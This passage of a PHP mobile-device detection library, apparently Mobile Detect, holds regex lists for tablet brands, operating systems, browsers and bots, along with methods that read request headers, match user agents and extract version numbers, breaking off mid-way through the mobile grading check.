        // Onda - http://www.onda-tablet.com/buy-android-onda.html?dir=desc&limit=all&order=price
        'OndaTablet' => '\b(V975i|Vi30|VX530|V701|Vi60|V701s|Vi50|V801s|V719|Vx610w|VX610W|V819i|Vi10|VX580W|Vi10|V711s|V813|V811|V820w|V820|Vi20|V711|VI30W|V712|V891w|V972|V819w|V820w|Vi60|V820w|V711|V813s|V801|V819|V975s|V801|V819|V819|V818|V811|V712|V975m|V101w|V961w|V812|V818|V971|V971s|V919|V989|V116w|V102w|V973|Vi40)\b[\s]+',
        'JaytechTablet' => 'TPC-PA762',
        'BlaupunktTablet' => 'Endeavour 800NG|Endeavour 1010',
        // http://www.digma.ru/support/download/
        // @todo: Ebooks also (if requested)
        'DigmaTablet' => '\b(iDx10|iDx9|iDx8|iDx7|iDxD7|iDxD8|iDsQ8|iDsQ7|iDsQ8|iDsD10|iDnD7|3TS804H|iDsQ11|iDj7|iDs10)\b',
        // http://www.evolioshop.com/ro/tablete-pc.html
        // http://www.evolio.ro/support/downloads_static.html?cat=2
        // @todo: Research some more
        'EvolioTablet' => 'ARIA_Mini_wifi|Aria[ _]Mini|Evolio X10|Evolio X7|Evolio X8|\bEvotab\b|\bNeura\b',
        // @todo http://www.lavamobiles.com/tablets-data-cards
        'LavaTablet' => 'QPAD E704|\bIvoryS\b|E-TAB IVORY|\bE-TAB\b',
        // http://www.breezetablet.com/
        'AocTablet' => 'MW0811|MW0812|MW0922|MTK8382|MW1031|MW0831|MW0821|MW0931|MW0712',
        // http://www.mpmaneurope.com/en/products/internet-tablets-14/android-tablets-14/
        'MpmanTablet' => 'MP11 OCTA|MP10 OCTA|MPQC1114|MPQC1004|MPQC994|MPQC974|MPQC973|MPQC804|MPQC784|MPQC780|\bMPG7\b|MPDCG75|MPDCG71|MPDC1006|MP101DC|MPDC9000|MPDC905|MPDC706HD|MPDC706|MPDC705|MPDC110|MPDC100|MPDC99|MPDC97|MPDC88|MPDC8|MPDC77|MP709|MID701|MID711|MID170|MPDC703|MPQC1010',
        // https://www.celkonmobiles.com/?_a=categoryphones&sid=2
        'CelkonTablet' => 'CT695|CT888|CT[\s]?910|CT7 Tab|CT9 Tab|CT3 Tab|CT2 Tab|CT1 Tab|C820|C720|\bCT-1\b',
        // http://www.wolderelectronics.com/productos/manuales-y-guias-rapidas/categoria-2-miTab
        'WolderTablet' => 'miTab \b(DIAMOND|SPACE|BROOKLYN|NEO|FLY|MANHATTAN|FUNK|EVOLUTION|SKY|GOCAR|IRON|GENIUS|POP|MINT|EPSILON|BROADWAY|JUMP|HOP|LEGEND|NEW AGE|LINE|ADVANCE|FEEL|FOLLOW|LIKE|LINK|LIVE|THINK|FREEDOM|CHICAGO|CLEVELAND|BALTIMORE-GH|IOWA|BOSTON|SEATTLE|PHOENIX|DALLAS|IN 101|MasterChef)\b',
        // http://www.mi.com/en
        'MiTablet' => '\bMI PAD\b|\bHM NOTE 1W\b',
        // http://www.nbru.cn/index.html
        'NibiruTablet' => 'Nibiru M1|Nibiru Jupiter One',
        // http://navroad.com/products/produkty/tablety/
        'NexoTablet' => 'NEXO NOVA|NEXO 10|NEXO AVIO|NEXO FREE|NEXO GO|NEXO EVO|NEXO 3G|NEXO SMART|NEXO KIDDO|NEXO MOBI',
        // http://leader-online.com/new_site/product-category/tablets/
        // http://www.leader-online.net.au/List/Tablet
        'LeaderTablet' => 'TBLT10Q|TBLT10I|TBL-10WDKB|TBL-10WDKBO2013|TBL-W230V2|TBL-W450|TBL-W500|SV572|TBLT7I|TBA-AC7-8G|TBLT79|TBL-8W16|TBL-10W32|TBL-10WKB|TBL-W100',
        // http://www.datawind.com/ubislate/
        'UbislateTablet' => 'UbiSlate[\s]?7C',
        // http://www.pocketbook-int.com/ru/support
        'PocketBookTablet' => 'Pocketbook',
        // http://www.kocaso.com/product_tablet.html
        'KocasoTablet' => '\b(TB-1207)\b',
        // http://global.hisense.com/product/asia/tablet/Sero7/201412/t20141215_91832.htm
        'HisenseTablet' => '\b(F5281|E2371)\b',
        // http://www.tesco.com/direct/hudl/
        'Hudl' => 'Hudl HT7S3|Hudl 2',
        // http://www.telstra.com.au/home-phone/thub-2/
        'TelstraTablet' => 'T-Hub2',
        'GenericTablet' => 'Android.*\b97D\b|Tablet(?!.*PC)|BNTV250A|MID-WCDMA|LogicPD Zoom2|\bA7EB\b|CatNova8|A1_07|CT704|CT1002|\bM721\b|rk30sdk|\bEVOTAB\b|M758A|ET904|ALUMIUM10|Smartfren Tab|Endeavour 1010|Tablet-PC-4|Tagi Tab|\bM6pro\b|CT1020W|arc 10HD|\bTP750\b',
    );

    /**
     * List of mobile Operating Systems.
     *
     * @var array
     */
    protected static $operatingSystems = array(
        'AndroidOS' => 'Android',
        'BlackBerryOS' => 'blackberry|\bBB10\b|rim tablet os',
        'PalmOS' => 'PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino',
        'SymbianOS' => 'Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\bS60\b',
        // @reference: http://en.wikipedia.org/wiki/Windows_Mobile
        'WindowsMobileOS' => 'Windows CE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Window Mobile|Windows Phone [0-9.]+|WCE;',
        // @reference: http://en.wikipedia.org/wiki/Windows_Phone
        // http://wifeng.cn/?r=blog&a=view&id=106
        // http://nicksnettravels.builttoroam.com/post/2011/01/10/Bogus-Windows-Phone-7-User-Agent-String.aspx
        // http://msdn.microsoft.com/library/ms537503.aspx
        // https://msdn.microsoft.com/en-us/library/hh869301(v=vs.85).aspx
        'WindowsPhoneOS' => 'Windows Phone 10.0|Windows Phone 8.1|Windows Phone 8.0|Windows Phone OS|XBLWP7|ZuneWP7|Windows NT 6.[23]; ARM;',
        'iOS' => '\biPhone.*Mobile|\biPod|\biPad',
        // http://en.wikipedia.org/wiki/MeeGo
        // @todo: research MeeGo in UAs
        'MeeGoOS' => 'MeeGo',
        // http://en.wikipedia.org/wiki/Maemo
        // @todo: research Maemo in UAs
        'MaemoOS' => 'Maemo',
        'JavaOS' => 'J2ME/|\bMIDP\b|\bCLDC\b', // '|Java/' produces bug #135
        'webOS' => 'webOS|hpwOS',
        'badaOS' => '\bBada\b',
        'BREWOS' => 'BREW',
    );

    /**
     * List of mobile User Agents.
     *
     * IMPORTANT: This is a list of only mobile browsers.
     * Mobile Detect 2.x supports only mobile browsers,
     * it was never designed to detect all browsers.
     * The change will come in 2017 in the 3.x release for PHP7.
     *
     * @var array
     */
    protected static $browsers = array(
        //'Vivaldi'         => 'Vivaldi',
        // @reference: https://developers.google.com/chrome/mobile/docs/user-agent
        'Chrome' => '\bCrMo\b|CriOS|Android.*Chrome/[.0-9]* (Mobile)?',
        'Dolfin' => '\bDolfin\b',
        'Opera' => 'Opera.*Mini|Opera.*Mobi|Android.*Opera|Mobile.*OPR/[0-9.]+|Coast/[0-9.]+',
        'Skyfire' => 'Skyfire',
        'Edge' => 'Mobile Safari/[.0-9]* Edge',
        'IE' => 'IEMobile|MSIEMobile', // |Trident/[.0-9]+
        'Firefox' => 'fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile|FxiOS',
        'Bolt' => 'bolt',
        'TeaShark' => 'teashark',
        'Blazer' => 'Blazer',
        // @reference: http://developer.apple.com/library/safari/#documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3
        'Safari' => 'Version.*Mobile.*Safari|Safari.*Mobile|MobileSafari',
        // http://en.wikipedia.org/wiki/Midori_(web_browser)
        //'Midori'          => 'midori',
        //'Tizen'           => 'Tizen',
        'UCBrowser' => 'UC.*Browser|UCWEB',
        'baiduboxapp' => 'baiduboxapp',
        'baidubrowser' => 'baidubrowser',
        // https://github.com/serbanghita/Mobile-Detect/issues/7
        'DiigoBrowser' => 'DiigoBrowser',
        // http://www.puffinbrowser.com/index.php
        'Puffin' => 'Puffin',
        // http://mercury-browser.com/index.html
        'Mercury' => '\bMercury\b',
        // http://en.wikipedia.org/wiki/Obigo_Browser
        'ObigoBrowser' => 'Obigo',
        // http://en.wikipedia.org/wiki/NetFront
        'NetFront' => 'NF-Browser',
        // @reference: http://en.wikipedia.org/wiki/Minimo
        // http://en.wikipedia.org/wiki/Vision_Mobile_Browser
        'GenericBrowser' => 'NokiaBrowser|OviBrowser|OneBrowser|TwonkyBeamBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision|MQQBrowser|MicroMessenger',
        // @reference: https://en.wikipedia.org/wiki/Pale_Moon_(web_browser)
        'PaleMoon' => 'Android.*PaleMoon|Mobile.*PaleMoon',
    );

    /**
     * Utilities.
     *
     * @var array
     */
    protected static $utilities = array(
        // Experimental. When a mobile device wants to switch to 'Desktop Mode'.
        // http://scottcate.com/technology/windows-phone-8-ie10-desktop-or-mobile/
        // https://github.com/serbanghita/Mobile-Detect/issues/57#issuecomment-15024011
        // https://developers.facebook.com/docs/sharing/best-practices
        'Bot' => 'Googlebot|facebookexternalhit|AdsBot-Google|Google Keyword Suggestion|Facebot|YandexBot|YandexMobileBot|bingbot|ia_archiver|AhrefsBot|Ezooms|GSLFbot|WBSearchBot|Twitterbot|TweetmemeBot|Twikle|PaperLiBot|Wotbox|UnwindFetchor|Exabot|MJ12bot|YandexImages|TurnitinBot|Pingdom',
        'MobileBot' => 'Googlebot-Mobile|AdsBot-Google-Mobile|YahooSeeker/M1A1-R2D2',
        'DesktopMode' => 'WPDesktop',
        'TV' => 'SonyDTV|HbbTV', // experimental
        'WebKit' => '(webkit)[ /]([\w.]+)',
        // @todo: Include JXD consoles.
        'Console' => '\b(Nintendo|Nintendo WiiU|Nintendo 3DS|PLAYSTATION|Xbox)\b',
        'Watch' => 'SM-V700',
    );

    /**
     * All possible HTTP headers that represent the
     * User-Agent string.
     *
     * @var array
     */
    protected static $uaHttpHeaders = array(
        // The default User-Agent string.
        'HTTP_USER_AGENT',
        // Header can occur on devices using Opera Mini.
        'HTTP_X_OPERAMINI_PHONE_UA',
        // Vodafone specific header: http://www.seoprinciple.com/mobile-web-community-still-angry-at-vodafone/24/
        'HTTP_X_DEVICE_USER_AGENT',
        'HTTP_X_ORIGINAL_USER_AGENT',
        'HTTP_X_SKYFIRE_PHONE',
        'HTTP_X_BOLT_PHONE_UA',
        'HTTP_DEVICE_STOCK_UA',
        'HTTP_X_UCBROWSER_DEVICE_UA',
    );

    /**
     * The individual segments that could exist in a User-Agent string. VER refers to the regular
     * expression defined in the constant self::VER.
     *
     * @var array
     */
    protected static $properties = array(

        // Build
        'Mobile' => 'Mobile/[VER]',
        'Build' => 'Build/[VER]',
        'Version' => 'Version/[VER]',
        'VendorID' => 'VendorID/[VER]',

        // Devices
        'iPad' => 'iPad.*CPU[a-z ]+[VER]',
        'iPhone' => 'iPhone.*CPU[a-z ]+[VER]',
        'iPod' => 'iPod.*CPU[a-z ]+[VER]',
        //'BlackBerry'    => array('BlackBerry[VER]', 'BlackBerry [VER];'),
        'Kindle' => 'Kindle/[VER]',

        // Browser
        'Chrome' => array('Chrome/[VER]', 'CriOS/[VER]', 'CrMo/[VER]'),
        'Coast' => array('Coast/[VER]'),
        'Dolfin' => 'Dolfin/[VER]',
        // @reference: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox
        'Firefox' => array('Firefox/[VER]', 'FxiOS/[VER]'),
        'Fennec' => 'Fennec/[VER]',
        // http://msdn.microsoft.com/en-us/library/ms537503(v=vs.85).aspx
        // https://msdn.microsoft.com/en-us/library/ie/hh869301(v=vs.85).aspx
        'Edge' => 'Edge/[VER]',
        'IE' => array('IEMobile/[VER];', 'IEMobile [VER]', 'MSIE [VER];', 'Trident/[0-9.]+;.*rv:[VER]'),
        // http://en.wikipedia.org/wiki/NetFront
        'NetFront' => 'NetFront/[VER]',
        'NokiaBrowser' => 'NokiaBrowser/[VER]',
        'Opera' => array(' OPR/[VER]', 'Opera Mini/[VER]', 'Version/[VER]'),
        'Opera Mini' => 'Opera Mini/[VER]',
        'Opera Mobi' => 'Version/[VER]',
        'UC Browser' => 'UC Browser[VER]',
        'MQQBrowser' => 'MQQBrowser/[VER]',
        'MicroMessenger' => 'MicroMessenger/[VER]',
        'baiduboxapp' => 'baiduboxapp/[VER]',
        'baidubrowser' => 'baidubrowser/[VER]',
        'SamsungBrowser' => 'SamsungBrowser/[VER]',
        'Iron' => 'Iron/[VER]',
        // @note: Safari 7534.48.3 is actually Version 5.1.
        // @note: On BlackBerry the Version is overwriten by the OS.
        'Safari' => array('Version/[VER]', 'Safari/[VER]'),
        'Skyfire' => 'Skyfire/[VER]',
        'Tizen' => 'Tizen/[VER]',
        'Webkit' => 'webkit[ /][VER]',
        'PaleMoon' => 'PaleMoon/[VER]',

        // Engine
        'Gecko' => 'Gecko/[VER]',
        'Trident' => 'Trident/[VER]',
        'Presto' => 'Presto/[VER]',
        'Goanna' => 'Goanna/[VER]',

        // OS
        'iOS' => ' \bi?OS\b [VER][ ;]{1}',
        'Android' => 'Android [VER]',
        'BlackBerry' => array('BlackBerry[\w]+/[VER]', 'BlackBerry.*Version/[VER]', 'Version/[VER]'),
        'BREW' => 'BREW [VER]',
        'Java' => 'Java/[VER]',
        // @reference: http://windowsteamblog.com/windows_phone/b/wpdev/archive/2011/08/29/introducing-the-ie9-on-windows-phone-mango-user-agent-string.aspx
        // @reference: http://en.wikipedia.org/wiki/Windows_NT#Releases
        'Windows Phone OS' => array('Windows Phone OS [VER]', 'Windows Phone [VER]'),
        'Windows Phone' => 'Windows Phone [VER]',
        'Windows CE' => 'Windows CE/[VER]',
        // http://social.msdn.microsoft.com/Forums/en-US/windowsdeveloperpreviewgeneral/thread/6be392da-4d2f-41b4-8354-8dcee20c85cd
        'Windows NT' => 'Windows NT [VER]',
        'Symbian' => array('SymbianOS/[VER]', 'Symbian/[VER]'),
        'webOS' => array('webOS/[VER]', 'hpwOS/[VER];'),
    );

    /**
     * Construct an instance of this class.
     *
     * @param array  $headers   Specify the headers as injection. Should be PHP _SERVER flavored.
     *                          If left empty, will use the global _SERVER['HTTP_*'] vars instead
     * @param string $userAgent Inject the User-Agent header. If null, will use HTTP_USER_AGENT
     *                          from the $headers array instead
     */
    public function __construct(
        array $headers = null,
        $userAgent = null
    ) {
        $this->setHttpHeaders($headers);
        $this->setUserAgent($userAgent);
    }

    /**
     * Get the current script version.
     * This is useful for the demo.php file,
     * so people can check on what version they are testing
     * for mobile devices.
     *
     * @return string The version number in semantic version format
     */
    public static function getScriptVersion()
    {
        return self::VERSION;
    }

    /**
     * Set the HTTP Headers. Must be PHP-flavored. This method will reset existing headers.
     *
     * @param array $httpHeaders The headers to set. If null, then using PHP's _SERVER to extract
     *                           the headers. The default null is left for backwards compatibility
     */
    public function setHttpHeaders($httpHeaders = null)
    {
        // use global _SERVER if $httpHeaders aren't defined
        if (!is_array($httpHeaders) || !count($httpHeaders)) {
            $httpHeaders = $_SERVER;
        }

        // clear existing headers
        $this->httpHeaders = array();

        // Only save HTTP headers. In PHP land, that means only _SERVER vars that
        // start with HTTP_.
        foreach ($httpHeaders as $key => $value) {
            if (substr($key, 0, 5) === 'HTTP_') {
                $this->httpHeaders[$key] = $value;
            }
        }

        // In case we're dealing with CloudFront, we need to know.
        $this->setCfHeaders($httpHeaders);
    }

    /**
     * Retrieves the HTTP headers.
     *
     * @return array
     */
    public function getHttpHeaders()
    {
        return $this->httpHeaders;
    }

    /**
     * Retrieves a particular header. If it doesn't exist, no exception/error is caused.
     * Simply null is returned.
     *
     * @param string $header The name of the header to retrieve. Can be HTTP compliant such as
     *                       "User-Agent" or "X-Device-User-Agent" or can be php-esque with the
     *                       all-caps, HTTP_ prefixed, underscore seperated awesomeness
     *
     * @return string|null The value of the header
     */
    public function getHttpHeader($header)
    {
        // are we using PHP-flavored headers?
        if (strpos($header, '_') === false) {
            $header = str_replace('-', '_', $header);
            $header = strtoupper($header);
        }

        // test the alternate, too
        $altHeader = 'HTTP_'.$header;

        //Test both the regular and the HTTP_ prefix
        if (isset($this->httpHeaders[$header])) {
            return $this->httpHeaders[$header];
        } elseif (isset($this->httpHeaders[$altHeader])) {
            return $this->httpHeaders[$altHeader];
        }

        return null;
    }

    public function getMobileHeaders()
    {
        return self::$mobileHeaders;
    }

    /**
     * Get all possible HTTP headers that
     * can contain the User-Agent string.
     *
     * @return array List of HTTP headers
     */
    public function getUaHttpHeaders()
    {
        return self::$uaHttpHeaders;
    }

    /**
     * Set CloudFront headers
     * http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/header-caching.html#header-caching-web-device.
     *
     * @param array $cfHeaders List of HTTP headers
     *
     * @return bool If there were CloudFront headers to be set
     */
    public function setCfHeaders($cfHeaders = null)
    {
        // use global _SERVER if $cfHeaders aren't defined
        if (!is_array($cfHeaders) || !count($cfHeaders)) {
            $cfHeaders = $_SERVER;
        }

        // clear existing headers
        $this->cloudfrontHeaders = array();

        // Only save CLOUDFRONT headers. In PHP land, that means only _SERVER vars that
        // start with cloudfront-.
        $response = false;
        foreach ($cfHeaders as $key => $value) {
            if (substr(strtolower($key), 0, 16) === 'http_cloudfront_') {
                $this->cloudfrontHeaders[strtoupper($key)] = $value;
                $response = true;
            }
        }

        return $response;
    }

    /**
     * Retrieves the cloudfront headers.
     *
     * @return array
     */
    public function getCfHeaders()
    {
        return $this->cloudfrontHeaders;
    }

    /**
     * Set the User-Agent to be used.
     *
     * @param string $userAgent The user agent string to set
     *
     * @return string|null
     */
    public function setUserAgent($userAgent = null)
    {
        // Invalidate cache due to #375
        $this->cache = array();

        if (false === empty($userAgent)) {
            return $this->userAgent = $userAgent;
        } else {
            $this->userAgent = null;
            foreach ($this->getUaHttpHeaders() as $altHeader) {
                if (false === empty($this->httpHeaders[$altHeader])) { // @todo: should use getHttpHeader(), but it would be slow. (Serban)
                    $this->userAgent .= $this->httpHeaders[$altHeader].' ';
                }
            }

            if (!empty($this->userAgent)) {
                return $this->userAgent = trim($this->userAgent);
            }
        }

        if (count($this->getCfHeaders()) > 0) {
            return $this->userAgent = 'Amazon CloudFront';
        }

        return $this->userAgent = null;
    }

    /**
     * Retrieve the User-Agent.
     *
     * @return string|null The user agent if it's set
     */
    public function getUserAgent()
    {
        return $this->userAgent;
    }

    /**
     * Set the detection type. Must be one of self::DETECTION_TYPE_MOBILE or
     * self::DETECTION_TYPE_EXTENDED. Otherwise, nothing is set.
     *
     * @deprecated since version 2.6.9
     *
     * @param string $type The type. Must be a self::DETECTION_TYPE_* constant. The default
     *                     parameter is null which will default to self::DETECTION_TYPE_MOBILE
     */
    public function setDetectionType($type = null)
    {
        if ($type === null) {
            $type = self::DETECTION_TYPE_MOBILE;
        }

        if ($type !== self::DETECTION_TYPE_MOBILE && $type !== self::DETECTION_TYPE_EXTENDED) {
            return;
        }

        $this->detectionType = $type;
    }

    public function getMatchingRegex()
    {
        return $this->matchingRegex;
    }

    public function getMatchesArray()
    {
        return $this->matchesArray;
    }

    /**
     * Retrieve the list of known phone devices.
     *
     * @return array List of phone devices
     */
    public static function getPhoneDevices()
    {
        return self::$phoneDevices;
    }

    /**
     * Retrieve the list of known tablet devices.
     *
     * @return array List of tablet devices
     */
    public static function getTabletDevices()
    {
        return self::$tabletDevices;
    }

    /**
     * Alias for getBrowsers() method.
     *
     * @return array List of user agents
     */
    public static function getUserAgents()
    {
        return self::getBrowsers();
    }

    /**
     * Retrieve the list of known browsers. Specifically, the user agents.
     *
     * @return array List of browsers / user agents
     */
    public static function getBrowsers()
    {
        return self::$browsers;
    }

    /**
     * Retrieve the list of known utilities.
     *
     * @return array List of utilities
     */
    public static function getUtilities()
    {
        return self::$utilities;
    }

    /**
     * Method gets the mobile detection rules. This method is used for the magic methods $detect->is*().
     *
     * @deprecated since version 2.6.9
     *
     * @return array All the rules (but not extended)
     */
    public static function getMobileDetectionRules()
    {
        static $rules;

        if (!$rules) {
            $rules = array_merge(
                self::$phoneDevices,
                self::$tabletDevices,
                self::$operatingSystems,
                self::$browsers
            );
        }

        return $rules;
    }

    /**
     * Method gets the mobile detection rules + utilities.
     * The reason this is separate is because utilities rules
     * don't necessary imply mobile. This method is used inside
     * the new $detect->is('stuff') method.
     *
     * @deprecated since version 2.6.9
     *
     * @return array All the rules + extended
     */
    public function getMobileDetectionRulesExtended()
    {
        static $rules;

        if (!$rules) {
            // Merge all rules together.
            $rules = array_merge(
                self::$phoneDevices,
                self::$tabletDevices,
                self::$operatingSystems,
                self::$browsers,
                self::$utilities
            );
        }

        return $rules;
    }

    /**
     * Retrieve the current set of rules.
     *
     * @deprecated since version 2.6.9
     *
     * @return array
     */
    public function getRules()
    {
        if ($this->detectionType == self::DETECTION_TYPE_EXTENDED) {
            return self::getMobileDetectionRulesExtended();
        } else {
            return self::getMobileDetectionRules();
        }
    }

    /**
     * Retrieve the list of mobile operating systems.
     *
     * @return array The list of mobile operating systems
     */
    public static function getOperatingSystems()
    {
        return self::$operatingSystems;
    }

    /**
     * Check the HTTP headers for signs of mobile.
     * This is the fastest mobile check possible; it's used
     * inside isMobile() method.
     *
     * @return bool
     */
    public function checkHttpHeadersForMobile()
    {
        foreach ($this->getMobileHeaders() as $mobileHeader => $matchType) {
            if (isset($this->httpHeaders[$mobileHeader])) {
                if (is_array($matchType['matches'])) {
                    foreach ($matchType['matches'] as $_match) {
                        if (strpos($this->httpHeaders[$mobileHeader], $_match) !== false) {
                            return true;
                        }
                    }

                    return false;
                } else {
                    return true;
                }
            }
        }

        return false;
    }

    /**
     * Magic overloading method.
     *
     * @method bool is[...]()
     *
     * @param string $name
     * @param array  $arguments
     *
     * @return mixed
     *
     * @throws BadMethodCallException when the method doesn't exist and doesn't start with 'is'
     */
    public function __call($name, $arguments)
    {
        // make sure the name starts with 'is', otherwise
        if (substr($name, 0, 2) !== 'is') {
            throw new BadMethodCallException("No such method exists: $name");
        }

        $this->setDetectionType(self::DETECTION_TYPE_MOBILE);

        $key = substr($name, 2);

        return $this->matchUAAgainstKey($key);
    }

    /**
     * Find a detection rule that matches the current User-agent.
     *
     * @param null $userAgent deprecated
     *
     * @return bool
     */
    protected function matchDetectionRulesAgainstUA($userAgent = null)
    {
        // Begin general search.
        foreach ($this->getRules() as $_regex) {
            if (empty($_regex)) {
                continue;
            }

            if ($this->match($_regex, $userAgent)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Search for a certain key in the rules array.
     * If the key is found then try to match the corresponding
     * regex against the User-Agent.
     *
     * @param string $key
     *
     * @return bool
     */
    protected function matchUAAgainstKey($key)
    {
        // Make the keys lowercase so we can match: isIphone(), isiPhone(), isiphone(), etc.
        $key = strtolower($key);
        if (false === isset($this->cache[$key])) {

            // change the keys to lower case
            $_rules = array_change_key_case($this->getRules());

            if (false === empty($_rules[$key])) {
                $this->cache[$key] = $this->match($_rules[$key]);
            }

            if (false === isset($this->cache[$key])) {
                $this->cache[$key] = false;
            }
        }

        return $this->cache[$key];
    }

    /**
     * Check if the device is mobile.
     * Returns true if any type of mobile device detected, including special ones.
     *
     * @param null $userAgent   deprecated
     * @param null $httpHeaders deprecated
     *
     * @return bool
     */
    public function isMobile($userAgent = null, $httpHeaders = null)
    {
        if ($httpHeaders) {
            $this->setHttpHeaders($httpHeaders);
        }

        if ($userAgent) {
            $this->setUserAgent($userAgent);
        }

        // Check specifically for cloudfront headers if the useragent === 'Amazon CloudFront'
        if ($this->getUserAgent() === 'Amazon CloudFront') {
            $cfHeaders = $this->getCfHeaders();
            if (array_key_exists('HTTP_CLOUDFRONT_IS_MOBILE_VIEWER', $cfHeaders) && $cfHeaders['HTTP_CLOUDFRONT_IS_MOBILE_VIEWER'] === 'true') {
                return true;
            }
        }

        $this->setDetectionType(self::DETECTION_TYPE_MOBILE);

        if ($this->checkHttpHeadersForMobile()) {
            return true;
        } else {
            return $this->matchDetectionRulesAgainstUA();
        }
    }

    /**
     * Check if the device is a tablet.
     * Return true if any type of tablet device is detected.
     *
     * @param string $userAgent   deprecated
     * @param array  $httpHeaders deprecated
     *
     * @return bool
     */
    public function isTablet($userAgent = null, $httpHeaders = null)
    {
        // Check specifically for cloudfront headers if the useragent === 'Amazon CloudFront'
        if ($this->getUserAgent() === 'Amazon CloudFront') {
            $cfHeaders = $this->getCfHeaders();
            if (array_key_exists('HTTP_CLOUDFRONT_IS_TABLET_VIEWER', $cfHeaders) && $cfHeaders['HTTP_CLOUDFRONT_IS_TABLET_VIEWER'] === 'true') {
                return true;
            }
        }

        $this->setDetectionType(self::DETECTION_TYPE_MOBILE);

        foreach (self::$tabletDevices as $_regex) {
            if ($this->match($_regex, $userAgent)) {
                return true;
            }
        }

        return false;
    }

    /**
     * This method checks for a certain property in the
     * userAgent.
     *
     * @todo: The httpHeaders part is not yet used.
     *
     * @param string $key
     * @param string $userAgent   deprecated
     * @param string $httpHeaders deprecated
     *
     * @return bool|int|null
     */
    public function is($key, $userAgent = null, $httpHeaders = null)
    {
        // Set the UA and HTTP headers only if needed (eg. batch mode).
        if ($httpHeaders) {
            $this->setHttpHeaders($httpHeaders);
        }

        if ($userAgent) {
            $this->setUserAgent($userAgent);
        }

        $this->setDetectionType(self::DETECTION_TYPE_EXTENDED);

        return $this->matchUAAgainstKey($key);
    }

    /**
     * Some detection rules are relative (not standard),
     * because of the diversity of devices, vendors and
     * their conventions in representing the User-Agent or
     * the HTTP headers.
     *
     * This method will be used to check custom regexes against
     * the User-Agent string.
     *
     * @param $regex
     * @param string $userAgent
     *
     * @return bool
     *
     * @todo: search in the HTTP headers too.
     */
    public function match($regex, $userAgent = null)
    {
        $match = (bool) preg_match(sprintf('#%s#is', $regex), (false === empty($userAgent) ? $userAgent : $this->userAgent), $matches);
        // If positive match is found, store the results for debug.
        if ($match) {
            $this->matchingRegex = $regex;
            $this->matchesArray = $matches;
        }

        return $match;
    }

    /**
     * Get the properties array.
     *
     * @return array
     */
    public static function getProperties()
    {
        return self::$properties;
    }

    /**
     * Prepare the version number.
     *
     * @todo Remove the error supression from str_replace() call
     *
     * @param string $ver The string version, like "2.6.21.2152";
     *
     * @return float
     */
    public function prepareVersionNo($ver)
    {
        $ver = str_replace(array('_', ' ', '/'), '.', $ver);
        $arrVer = explode('.', $ver, 2);

        if (isset($arrVer[1])) {
            $arrVer[1] = @str_replace('.', '', $arrVer[1]); // @todo: treat strings versions.
        }

        return (float) implode('.', $arrVer);
    }

    /**
     * Check the version of the given property in the User-Agent.
     * Will return a float number. (eg. 2_0 will return 2.0, 4.3.1 will return 4.31).
     *
     * @param string $propertyName The name of the property. See self::getProperties() array
     *                             keys for all possible properties
     * @param string $type         Either self::VERSION_TYPE_STRING to get a string value or
     *                             self::VERSION_TYPE_FLOAT indicating a float value. This parameter
     *                             is optional and defaults to self::VERSION_TYPE_STRING. Passing an
     *                             invalid parameter will default to the this type as well
     *
     * @return string|float The version of the property we are trying to extract
     */
    public function version($propertyName, $type = self::VERSION_TYPE_STRING)
    {
        if (empty($propertyName)) {
            return false;
        }

        // set the $type to the default if we don't recognize the type
        if ($type !== self::VERSION_TYPE_STRING && $type !== self::VERSION_TYPE_FLOAT) {
            $type = self::VERSION_TYPE_STRING;
        }

        $properties = self::getProperties();

        // Check if the property exists in the properties array.
        if (true === isset($properties[$propertyName])) {

            // Prepare the pattern to be matched.
            // Make sure we always deal with an array (string is converted).
            $properties[$propertyName] = (array) $properties[$propertyName];

            foreach ($properties[$propertyName] as $propertyMatchString) {
                $propertyPattern = str_replace('[VER]', self::VER, $propertyMatchString);

                // Identify and extract the version.
                preg_match(sprintf('#%s#is', $propertyPattern), $this->userAgent, $match);

                if (false === empty($match[1])) {
                    $version = ($type == self::VERSION_TYPE_FLOAT ? $this->prepareVersionNo($match[1]) : $match[1]);

                    return $version;
                }
            }
        }

        return false;
    }

    /**
     * Retrieve the mobile grading, using self::MOBILE_GRADE_* constants.
     *
     * @return string One of the self::MOBILE_GRADE_* constants
     */
    public function mobileGrade()
    {
        $isMobile = $this->isMobile();

        if (
            // Apple iOS 4-7.0 – Tested on the original iPad (4.3 / 5.0), iPad 2 (4.3 / 5.1 / 6.1), iPad 3 (5.1 / 6.0), iPad Mini (6.1), iPad Retina (7.0), iPhone 3GS (4.3), iPhone 4 (4.3 / 5.1), iPhone 4S (5.1 / 6.0), iPhone 5 (6.0), and iPhone 5S (7.0)
            $this->is('iOS') && $this->version('iPad', self::VERSION_TYPE_FLOAT) >= 4.3 ||
            $this->is('iOS') && $this->version('iPhone', self::VERSION_TYPE_FLOAT) >= 4.3 ||
            $this->is('iOS') && $this->version('iPod', self::VERSION_TYPE_FLOAT) >= 4.3 ||

            // Android 2.1-2.3 - Tested on the HTC Incredible (2.2), original Droid (2.2), HTC Aria (2.1), Google Nexus S (2.3). Functional on 1.5 & 1.6 but performance may be sluggish, tested on Google G1 (1.5)
            // Android 3.1 (Honeycomb)  - Tested on the Samsung Galaxy Tab 10.1 and Motorola XOOM
            // Android 4.0 (ICS)  - Tested on a Galaxy Nexus. Note: transition performance can be poor on upgraded devices
            // Android 4.1 (Jelly Bean)  - Tested on a Galaxy Nexus and Galaxy 7
            ($this->version('Android', self::VERSION_TYPE_FLOAT) > 2.1 && $this->is('Webkit')) ||

            // Windows Phone 7.5-8 - Tested on the HTC Surround (7.5), HTC Trophy (7.5), LG-E900 (7.5), Nokia 800 (7.8), HTC Mazaa (7.8), Nokia Lumia 520 (8), Nokia Lumia 920 (8), HTC 8x (8)
            $this->version('Windows Phone OS', self::VERSION_TYPE_FLOAT) >= 7.5 ||

            // Tested on the Torch 9800 (6) and Style 9670 (6), BlackBerry® Torch 9810 (7), BlackBerry Z10 (10)
